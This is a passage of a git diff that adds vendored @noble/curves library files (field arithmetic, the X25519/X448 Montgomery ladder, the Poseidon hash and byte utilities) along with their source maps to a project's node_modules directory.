NOTE: tonelli is too slow for bls-Fp2 calculations even on start + // Means we cannot use sqrt for constants at all! + // + // const c1 = Fp.sqrt(Fp.negate(Fp.ONE)); // 1. c1 = sqrt(-1) in F, i.e., (c1^2) == -1 in F + // const c2 = Fp.sqrt(c1); // 2. c2 = sqrt(c1) in F, i.e., (c2^2) == c1 in F + // const c3 = Fp.sqrt(Fp.negate(c1)); // 3. c3 = sqrt(-c1) in F, i.e., (c3^2) == -c1 in F + // const c4 = (P + _7n) / _16n; // 4. c4 = (q + 7) / 16 # Integer arithmetic + // sqrt = (x) => { + // let tv1 = Fp.pow(x, c4); // 1. tv1 = x^c4 + // let tv2 = Fp.mul(c1, tv1); // 2. tv2 = c1 * tv1 + // const tv3 = Fp.mul(c2, tv1); // 3. tv3 = c2 * tv1 + // let tv4 = Fp.mul(c3, tv1); // 4. tv4 = c3 * tv1 + // const e1 = Fp.equals(Fp.square(tv2), x); // 5. e1 = (tv2^2) == x + // const e2 = Fp.equals(Fp.square(tv3), x); // 6. e2 = (tv3^2) == x + // tv1 = Fp.cmov(tv1, tv2, e1); // 7. tv1 = CMOV(tv1, tv2, e1) # Select tv2 if (tv2^2) == x + // tv2 = Fp.cmov(tv4, tv3, e2); // 8. tv2 = CMOV(tv4, tv3, e2) # Select tv3 if (tv3^2) == x + // const e3 = Fp.equals(Fp.square(tv2), x); // 9. e3 = (tv2^2) == x + // return Fp.cmov(tv1, tv2, e3); // 10. z = CMOV(tv1, tv2, e3) # Select the sqrt from tv1 and tv2 + // } + } + // Other cases: Tonelli-Shanks algorithm + return tonelliShanks(P); +} +// Little-endian check for first LE bit (last BE bit); +export const isNegativeLE = (num, modulo) => (mod(num, modulo) & _1n) === _1n; +// prettier-ignore +const FIELD_FIELDS = [ + 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr', + 'eql', 'add', 'sub', 'mul', 'pow', 'div', + 'addN', 'subN', 'mulN', 'sqrN' +]; +export function validateField(field) { + const initial = { + ORDER: 'bigint', + MASK: 'bigint', + BYTES: 'isSafeInteger', + BITS: 'isSafeInteger', + }; + const opts = FIELD_FIELDS.reduce((map, val) => { + map[val] = 'function'; + return map; + }, initial); + return validateObject(field, opts); +} +// Generic field functions +/** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ +export function FpPow(f, num, power) { + // Should have same speed as pow for bigints + // TODO: benchmark! + if (power < _0n) + throw new Error('Expected power > 0'); + if (power === _0n) + return f.ONE; + if (power === _1n) + return num; + let p = f.ONE; + let d = num; + while (power > _0n) { + if (power & _1n) + p = f.mul(p, d); + d = f.sqr(d); + power >>= _1n; + } + return p; +} +/** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ +export function FpInvertBatch(f, nums) { + const tmp = new Array(nums.length); + // Walk from first to last, multiply them by each other MOD p + const lastMultiplied = nums.reduce((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = acc; + return f.mul(acc, num); + }, f.ONE); + // Invert last element + const inverted = f.inv(lastMultiplied); + // Walk from last to first, multiply them by inverted each other MOD p + nums.reduceRight((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = f.mul(acc, tmp[i]); + return f.mul(acc, num); + }, inverted); + return tmp; +} +export function FpDiv(f, lhs, rhs) { + return f.mul(lhs, typeof rhs === 'bigint' ? invert(rhs, f.ORDER) : f.inv(rhs)); +} +// This function returns True whenever the value x is a square in the field F. +export function FpIsSquare(f) { + const legendreConst = (f.ORDER - _1n) / _2n; // Integer arithmetic + return (x) => { + const p = f.pow(x, legendreConst); + return f.eql(p, f.ZERO) || f.eql(p, f.ONE); + }; +} +// CURVE.n lengths +export function nLength(n, nBitLength) { + // Bit size, byte size of CURVE.n + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; +} +/** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ +export function Field(ORDER, bitLen, isLE = false, redef = {}) { + if (ORDER <= _0n) + throw new Error(`Expected Field ORDER > 0, got ${ORDER}`); + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen); + if (BYTES > 2048) + throw new Error('Field lengths over 2048 bytes are not supported'); + const sqrtP = FpSqrt(ORDER); + const f = Object.freeze({ + ORDER, + BITS, + BYTES, + MASK: bitMask(BITS), + ZERO: _0n, + ONE: _1n, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== 'bigint') + throw new Error(`Invalid field element: expected bigint, got ${typeof num}`); + return _0n <= num && num < ORDER; // 0 is valid element, but it's not invertible + }, + is0: (num) => num === _0n, + isOdd: (num) => (num & _1n) === _1n, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + // Same as above, but doesn't normalize + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + inv: (num) => invert(num, ORDER), + sqrt: redef.sqrt || ((n) => sqrtP(f, n)), + invertBatch: (lst) => FpInvertBatch(f, lst), + // TODO: do we really need constant cmov? + // We don't have const-time bigints anyway, so probably will be not very useful + cmov: (a, b, c) => (c ? b : a), + toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)), + fromBytes: (bytes) => { + if (bytes.length !== BYTES) + throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`); + return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes); + }, + }); + return Object.freeze(f); +} +export function FpSqrtOdd(Fp, elm) { + if (!Fp.isOdd) + throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? root : Fp.neg(root); +} +export function FpSqrtEven(Fp, elm) { + if (!Fp.isOdd) + throw new Error(`Field doesn't have isOdd`); + const root = Fp.sqrt(elm); + return Fp.isOdd(root) ? Fp.neg(root) : root; +} +/** + * "Constant-time" private key generation utility. + * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field). + * Which makes it slightly more biased, less secure. + * @deprecated use mapKeyToField instead + */ +export function hashToPrivateScalar(hash, groupOrder, isLE = false) { + hash = ensureBytes('privateHash', hash); + const hashLen = hash.length; + const minLen = nLength(groupOrder).nByteLength + 8; + if (minLen < 24 || hashLen < minLen || hashLen > 1024) + throw new Error(`hashToPrivateScalar: expected ${minLen}-1024 bytes of input, got ${hashLen}`); + const num = isLE ? bytesToNumberLE(hash) : bytesToNumberBE(hash); + return mod(num, groupOrder - _1n) + _1n; +} +/** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ +export function getFieldBytesLength(fieldOrder) { + if (typeof fieldOrder !== 'bigint') + throw new Error('field order must be bigint'); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); +} +/** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ +export function getMinHashLength(fieldOrder) { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); +} +/** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ +export function mapHashToField(key, fieldOrder, isLE = false) { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings. + if (len < 16 || len < minLen || len > 1024) + throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`); + const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key); + // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0 + const reduced = mod(num, fieldOrder - _1n) + _1n; + return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen); +} +//# sourceMappingURL=modular.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/modular.js.map b/node_modules/@noble/curves/esm/abstract/modular.js.map new file mode 100644 index 000000000000..0da524f4a75d --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/modular.js.map @@ -0,0 +1 @@ +{"version":3,"file":"modular.js","sourceRoot":"","sources":["../../src/abstract/modular.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,sDAAsD;AACtD,OAAO,EACL,OAAO,EACP,eAAe,EACf,eAAe,EACf,eAAe,EACf,eAAe,EACf,WAAW,EACX,cAAc,GACf,MAAM,YAAY,CAAC;AACpB,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACzE,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACxD,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzC,wBAAwB;AACxB,MAAM,UAAU,GAAG,CAAC,CAAS,EAAE,CAAS;IACtC,MAAM,MAAM,GAAG,CAAC,GAAG,CAAC,CAAC;IACrB,OAAO,MAAM,IAAI,GAAG,CA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AC,CAAC,CAAC,eAAe,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC,eAAe,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC;AACxF,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/montgomery.js b/node_modules/@noble/curves/esm/abstract/montgomery.js new file mode 100644 index 000000000000..19a8b6eba176 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/montgomery.js @@ -0,0 +1,157 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { mod, pow } from './modular.js'; +import { bytesToNumberLE, ensureBytes, numberToBytesLE, validateObject } from './utils.js'; +const _0n = BigInt(0); +const _1n = BigInt(1); +function validateOpts(curve) { + validateObject(curve, { + a: 'bigint', + }, { + montgomeryBits: 'isSafeInteger', + nByteLength: 'isSafeInteger', + adjustScalarBytes: 'function', + domain: 'function', + powPminus2: 'function', + Gu: 'bigint', + }); + // Set defaults + return Object.freeze({ ...curve }); +} +// NOTE: not really montgomery curve, just bunch of very specific methods for X25519/X448 (RFC 7748, https://www.rfc-editor.org/rfc/rfc7748) +// Uses only one coordinate instead of two +export function montgomery(curveDef) { + const CURVE = validateOpts(curveDef); + const { P } = CURVE; + const modP = (n) => mod(n, P); + const montgomeryBits = CURVE.montgomeryBits; + const montgomeryBytes = Math.ceil(montgomeryBits / 8); + const fieldLen = CURVE.nByteLength; + const adjustScalarBytes = CURVE.adjustScalarBytes || ((bytes) => bytes); + const powPminus2 = CURVE.powPminus2 || ((x) => pow(x, P - BigInt(2), P)); + // cswap from RFC7748. But it is not from RFC7748! + /* + cswap(swap, x_2, x_3): + dummy = mask(swap) AND (x_2 XOR x_3) + x_2 = x_2 XOR dummy + x_3 = x_3 XOR dummy + Return (x_2, x_3) + Where mask(swap) is the all-1 or all-0 word of the same length as x_2 + and x_3, computed, e.g., as mask(swap) = 0 - swap. + */ + function cswap(swap, x_2, x_3) { + const dummy = modP(swap * (x_2 - x_3)); + x_2 = modP(x_2 - dummy); + x_3 = modP(x_3 + dummy); + return [x_2, x_3]; + } + // Accepts 0 as well + function assertFieldElement(n) { + if (typeof n === 'bigint' && _0n <= n && n < P) + return n; + throw new Error('Expected valid scalar 0 < scalar < CURVE.P'); + } + // x25519 from 4 + // The constant a24 is (486662 - 2) / 4 = 121665 for curve25519/X25519 + const a24 = (CURVE.a - BigInt(2)) / BigInt(4); + /** + * + * @param pointU u coordinate (x) on Montgomery Curve 25519 + * @param scalar by which the point would be multiplied + * @returns new Point on Montgomery curve + */ + function montgomeryLadder(pointU, scalar) { + const u = assertFieldElement(pointU); + // Section 5: Implementations MUST accept non-canonical values and process them as + // if they had been reduced modulo the field prime. + const k = assertFieldElement(scalar); + const x_1 = u; + let x_2 = _1n; + let z_2 = _0n; + let x_3 = u; + let z_3 = _1n; + let swap = _0n; + let sw; + for (let t = BigInt(montgomeryBits - 1); t >= _0n; t--) { + const k_t = (k >> t) & _1n; + swap ^= k_t; + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + swap = k_t; + const A = x_2 + z_2; + const AA = modP(A * A); + const B = x_2 - z_2; + const BB = modP(B * B); + const E = AA - BB; + const C = x_3 + z_3; + const D = x_3 - z_3; + const DA = modP(D * A); + const CB = modP(C * B); + const dacb = DA + CB; + const da_cb = DA - CB; + x_3 = modP(dacb * dacb); + z_3 = modP(x_1 * modP(da_cb * da_cb)); + x_2 = modP(AA * BB); + z_2 = modP(E * (AA + modP(a24 * E))); + } + // (x_2, x_3) = cswap(swap, x_2, x_3) + sw = cswap(swap, x_2, x_3); + x_2 = sw[0]; + x_3 = sw[1]; + // (z_2, z_3) = cswap(swap, z_2, z_3) + sw = cswap(swap, z_2, z_3); + z_2 = sw[0]; + z_3 = sw[1]; + // z_2^(p - 2) + const z2 = powPminus2(z_2); + // Return x_2 * (z_2^(p - 2)) + return modP(x_2 * z2); + } + function encodeUCoordinate(u) { + return numberToBytesLE(modP(u), montgomeryBytes); + } + function decodeUCoordinate(uEnc) { + // Section 5: When receiving such an array, implementations of X25519 + // MUST mask the most significant bit in the final byte. + // This is very ugly way, but it works because fieldLen-1 is outside of bounds for X448, so this becomes NOOP + // fieldLen - scalaryBytes = 1 for X448 and = 0 for X25519 + const u = ensureBytes('u coordinate', uEnc, montgomeryBytes); + // u[fieldLen-1] crashes QuickJS (TypeError: out-of-bound numeric index) + if (fieldLen === montgomeryBytes) + u[fieldLen - 1] &= 127; // 0b0111_1111 + return bytesToNumberLE(u); + } + function decodeScalar(n) { + const bytes = ensureBytes('scalar', n); + if (bytes.length !== montgomeryBytes && bytes.length !== fieldLen) + throw new Error(`Expected ${montgomeryBytes} or ${fieldLen} bytes, got ${bytes.length}`); + return bytesToNumberLE(adjustScalarBytes(bytes)); + } + function scalarMult(scalar, u) { + const pointU = decodeUCoordinate(u); + const _scalar = decodeScalar(scalar); + const pu = montgomeryLadder(pointU, _scalar); + // The result was not contributory + // https://cr.yp.to/ecdh.html#validate + if (pu === _0n) + throw new Error('Invalid private or public key received'); + return encodeUCoordinate(pu); + } + // Computes public key from private. By doing scalar multiplication of base point. + const GuBytes = encodeUCoordinate(CURVE.Gu); + function scalarMultBase(scalar) { + return scalarMult(scalar, GuBytes); + } + return { + scalarMult, + scalarMultBase, + getSharedSecret: (privateKey, publicKey) => scalarMult(privateKey, publicKey), + getPublicKey: (privateKey) => scalarMultBase(privateKey), + utils: { randomPrivateKey: () => CURVE.randomBytes(CURVE.nByteLength) }, + GuBytes: GuBytes, + }; +} +//# sourceMappingURL=montgomery.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/montgomery.js.map b/node_modules/@noble/curves/esm/abstract/montgomery.js.map new file mode 100644 index 000000000000..6bc1a0615f61 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/montgomery.js.map @@ -0,0 +1 @@ +{"version":3,"file":"montgomery.js","sourceRoot":"","sources":["../../src/abstract/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ACzE,KAAK,EAAE,EAAE,gBAAgB,EAAE,GAAG,EAAE,CAAC,KAAK,CAAC,WAAY,CAAC,KAAK,CAAC,WAAW,CAAC,EAAE;QACxE,OAAO,EAAE,OAAO;KACjB,CAAC;AACJ,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/poseidon.js b/node_modules/@noble/curves/esm/abstract/poseidon.js new file mode 100644 index 000000000000..79f69f51cdf6 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/poseidon.js @@ -0,0 +1,108 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Poseidon Hash: https://eprint.iacr.org/2019/458.pdf, https://www.poseidon-hash.info +import { FpPow, validateField } from './modular.js'; +export function validateOpts(opts) { + const { Fp, mds, reversePartialPowIdx: rev, roundConstants: rc } = opts; + const { roundsFull, roundsPartial, sboxPower, t } = opts; + validateField(Fp); + for (const i of ['t', 'roundsFull', 'roundsPartial']) { + if (typeof opts[i] !== 'number' || !Number.isSafeInteger(opts[i])) + throw new Error(`Poseidon: invalid param ${i}=${opts[i]} (${typeof opts[i]})`); + } + // MDS is TxT matrix + if (!Array.isArray(mds) || mds.length !== t) + throw new Error('Poseidon: wrong MDS matrix'); + const _mds = mds.map((mdsRow) => { + if (!Array.isArray(mdsRow) || mdsRow.length !== t) + throw new Error(`Poseidon MDS matrix row: ${mdsRow}`); + return mdsRow.map((i) => { + if (typeof i !== 'bigint') + throw new Error(`Poseidon MDS matrix value=${i}`); + return Fp.create(i); + }); + }); + if (rev !== undefined && typeof rev !== 'boolean') + throw new Error(`Poseidon: invalid param reversePartialPowIdx=${rev}`); + if (roundsFull % 2 !== 0) + throw new Error(`Poseidon roundsFull is not even: ${roundsFull}`); + const rounds = roundsFull + roundsPartial; + if (!Array.isArray(rc) || rc.length !== rounds) + throw new Error('Poseidon: wrong round constants'); + const roundConstants = rc.map((rc) => { + if (!Array.isArray(rc) || rc.length !== t) + throw new Error(`Poseidon wrong round constants: ${rc}`); + return rc.map((i) => { + if (typeof i !== 'bigint' || !Fp.isValid(i)) + throw new Error(`Poseidon wrong round constant=${i}`); + return Fp.create(i); + }); + }); + if (!sboxPower || ![3, 5, 7].includes(sboxPower)) + throw new Error(`Poseidon wrong sboxPower=${sboxPower}`); + const _sboxPower = BigInt(sboxPower); + let sboxFn = (n) => FpPow(Fp, n, _sboxPower); + // Unwrapped sbox power for common cases (195->142μs) + if (sboxPower === 3) + sboxFn = (n) => Fp.mul(Fp.sqrN(n), n); + else if (sboxPower === 5) + sboxFn = (n) => Fp.mul(Fp.sqrN(Fp.sqrN(n)), n); + return Object.freeze({ ...opts, rounds, sboxFn, roundConstants, mds: _mds }); +} +export function splitConstants(rc, t) { + if (typeof t !== 'number') + throw new Error('poseidonSplitConstants: wrong t'); + if (!Array.isArray(rc) || rc.length % t) + throw new Error('poseidonSplitConstants: wrong rc'); + const res = []; + let tmp = []; + for (let i = 0; i < rc.length; i++) { + tmp.push(rc[i]); + if (tmp.length === t) { + res.push(tmp); + tmp = []; + } + } + return res; +} +export function poseidon(opts) { + const _opts = validateOpts(opts); + const { Fp, mds, roundConstants, rounds, roundsPartial, sboxFn, t } = _opts; + const halfRoundsFull = _opts.roundsFull / 2; + const partialIdx = _opts.reversePartialPowIdx ? t - 1 : 0; + const poseidonRound = (values, isFull, idx) => { + values = values.map((i, j) => Fp.add(i, roundConstants[idx][j])); + if (isFull) + values = values.map((i) => sboxFn(i)); + else + values[partialIdx] = sboxFn(values[partialIdx]); + // Matrix multiplication + values = mds.map((i) => i.reduce((acc, i, j) => Fp.add(acc, Fp.mulN(i, values[j])), Fp.ZERO)); + return values; + }; + const poseidonHash = function poseidonHash(values) { + if (!Array.isArray(values) || values.length !== t) + throw new Error(`Poseidon: wrong values (expected array of bigints with length ${t})`); + values = values.map((i) => { + if (typeof i !== 'bigint') + throw new Error(`Poseidon: wrong value=${i} (${typeof i})`); + return Fp.create(i); + }); + let round = 0; + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) + values = poseidonRound(values, true, round++); + // Apply r_p partial rounds. + for (let i = 0; i < roundsPartial; i++) + values = poseidonRound(values, false, round++); + // Apply r_f/2 full rounds. + for (let i = 0; i < halfRoundsFull; i++) + values = poseidonRound(values, true, round++); + if (round !== rounds) + throw new Error(`Poseidon: wrong number of rounds: last round=${round}, total=${rounds}`); + return values; + }; + // For verification in tests + poseidonHash.roundConstants = roundConstants; + return poseidonHash; +} +//# sourceMappingURL=poseidon.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/poseidon.js.map b/node_modules/@noble/curves/esm/abstract/poseidon.js.map new file mode 100644 index 000000000000..28338290382b --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/poseidon.js.map @@ -0,0 +1 @@ +{"version":3,"file":"poseidon.js","sourceRoot":"","sources":["../../src/abstract/poseidon.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,sFAAsF;AACtF,OAAO,EAAU,KAAK,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC;AAc5D,MAAM,UAAU,YAAY,CAAC,IAAkB;IAC7C,MAAM,EAAE,EAAE,EAAE,GAAG,EAAE,oBAAoB,EAAE,GAAG,EAAE,cAAc,EAAE,EAAE,EAAE,GAAG,IAAI,CAAC;IACxE,MAAM,EAAE,UAAU,EAAE,aAAa,EAAE,SAAS,EAAE,CAAC,EAAE,GAAG,IAAI,CAAC;IAEzD,aAAa,CAAC,EAAE,CAAC,CAAC;IAClB,KAAK,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,YAAY,EAAE,eAAe,CAAU,EAAE;QAC7D,IAAI,OAAO,IAAI,CAAC,CAAC,CAAC,KAAK,QAAQ,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;YAC/D,MAAM,IAAI,KAAK,CAAC,2BAA2B,CAAC,IAAI,IAAI,CAAC,CAAC,CAAC,KAAK,OAAO,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC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AAG,cAAc,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACvF,4BAA4B;QAC5B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,aAAa,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC;QACvF,2BAA2B;QAC3B,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,cAAc,EAAE,CAAC,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QAEvF,IAAI,KAAK,KAAK,MAAM;YAClB,MAAM,IAAI,KAAK,CAAC,gDAAgD,KAAK,WAAW,MAAM,EAAE,CAAC,CAAC;QAC5F,OAAO,MAAM,CAAC;IAChB,CAAC,CAAC;IACF,4BAA4B;IAC5B,YAAY,CAAC,cAAc,GAAG,cAAc,CAAC;IAC7C,OAAO,YAAY,CAAC;AACtB,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/utils.js b/node_modules/@noble/curves/esm/abstract/utils.js new file mode 100644 index 000000000000..f4204055e17d --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/utils.js @@ -0,0 +1,266 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// 100 lines of code in the file are duplicated from noble-hashes (utils). +// This is OK: `abstract` directory does not use noble-hashes. +// User may opt-in into using different hashing library. This way, noble-hashes +// won't be included into their bundle. +const _0n = BigInt(0); +const _1n = BigInt(1); +const _2n = BigInt(2); +const u8a = (a) => a instanceof Uint8Array; +const hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0')); +/** + * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123' + */ +export function bytesToHex(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + // pre-caching improves the speed 6x + let hex = ''; + for (let i = 0; i < bytes.length; i++) { + hex += hexes[bytes[i]]; + } + return hex; +} +export function numberToHexUnpadded(num) { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; +} +export function hexToNumber(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + // Big Endian + return BigInt(hex === '' ? '0' : `0x${hex}`); +} +/** + * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23]) + */ +export function hexToBytes(hex) { + if (typeof hex !== 'string') + throw new Error('hex string expected, got ' + typeof hex); + const len = hex.length; + if (len % 2) + throw new Error('padded hex string expected, got unpadded hex of length ' + len); + const array = new Uint8Array(len / 2); + for (let i = 0; i < array.length; i++) { + const j = i * 2; + const hexByte = hex.slice(j, j + 2); + const byte = Number.parseInt(hexByte, 16); + if (Number.isNaN(byte) || byte < 0) + throw new Error('Invalid byte sequence'); + array[i] = byte; + } + return array; +} +// BE: Big Endian, LE: Little Endian +export function bytesToNumberBE(bytes) { + return hexToNumber(bytesToHex(bytes)); +} +export function bytesToNumberLE(bytes) { + if (!u8a(bytes)) + throw new Error('Uint8Array expected'); + return hexToNumber(bytesToHex(Uint8Array.from(bytes).reverse())); +} +export function numberToBytesBE(n, len) { + return hexToBytes(n.toString(16).padStart(len * 2, '0')); +} +export function numberToBytesLE(n, len) { + return numberToBytesBE(n, len).reverse(); +} +// Unpadded, rarely used +export function numberToVarBytesBE(n) { + return hexToBytes(numberToHexUnpadded(n)); +} +/** + * Takes hex string or Uint8Array, converts to Uint8Array. + * Validates output length. + * Will throw error for other types. + * @param title descriptive title for an error e.g. 'private key' + * @param hex hex string or Uint8Array + * @param expectedLength optional, will compare to result array's length + * @returns + */ +export function ensureBytes(title, hex, expectedLength) { + let res; + if (typeof hex === 'string') { + try { + res = hexToBytes(hex); + } + catch (e) { + throw new Error(`${title} must be valid hex string, got "${hex}". Cause: ${e}`); + } + } + else if (u8a(hex)) { + // Uint8Array.from() instead of hash.slice() because node.js Buffer + // is instance of Uint8Array, and its slice() creates **mutable** copy + res = Uint8Array.from(hex); + } + else { + throw new Error(`${title} must be hex string or Uint8Array`); + } + const len = res.length; + if (typeof expectedLength === 'number' && len !== expectedLength) + throw new Error(`${title} expected ${expectedLength} bytes, got ${len}`); + return res; +} +/** + * Copies several Uint8Arrays into one. + */ +export function concatBytes(...arrays) { + const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0)); + let pad = 0; // walk through each item, ensure they have proper type + arrays.forEach((a) => { + if (!u8a(a)) + throw new Error('Uint8Array expected'); + r.set(a, pad); + pad += a.length; + }); + return r; +} +export function equalBytes(b1, b2) { + // We don't care about timing attacks here + if (b1.length !== b2.length) + return false; + for (let i = 0; i < b1.length; i++) + if (b1[i] !== b2[i]) + return false; + return true; +} +/** + * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99]) + */ +export function utf8ToBytes(str) { + if (typeof str !== 'string') + throw new Error(`utf8ToBytes expected string, got ${typeof str}`); + return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809 +} +// Bit operations +/** + * Calculates amount of bits in a bigint. + * Same as `n.toString(2).length` + */ +export function bitLen(n) { + let len; + for (len = 0; n > _0n; n >>= _1n, len += 1) + ; + return len; +} +/** + * Gets single bit at position. + * NOTE: first bit position is 0 (same as arrays) + * Same as `!!+Array.from(n.toString(2)).reverse()[pos]` + */ +export function bitGet(n, pos) { + return (n >> BigInt(pos)) & _1n; +} +/** + * Sets single bit at position. + */ +export const bitSet = (n, pos, value) => { + return n | ((value ? _1n : _0n) << BigInt(pos)); +}; +/** + * Calculate mask for N bits. Not using ** operator with bigints because of old engines. + * Same as BigInt(`0b${Array(i).fill('1').join('')}`) + */ +export const bitMask = (n) => (_2n << BigInt(n - 1)) - _1n; +// DRBG +const u8n = (data) => new Uint8Array(data); // creates Uint8Array +const u8fr = (arr) => Uint8Array.from(arr); // another shortcut +/** + * Minimal HMAC-DRBG from NIST 800-90 for RFC6979 sigs. + * @returns function that will call DRBG until 2nd arg returns something meaningful + * @example + * const drbg = createHmacDRBG(32, 32, hmac); + * drbg(seed, bytesToKey); // bytesToKey must return Key or undefined + */ +export function createHmacDrbg(hashLen, qByteLen, hmacFn) { + if (typeof hashLen !== 'number' || hashLen < 2) + throw new Error('hashLen must be a number'); + if (typeof qByteLen !== 'number' || qByteLen < 2) + throw new Error('qByteLen must be a number'); + if (typeof 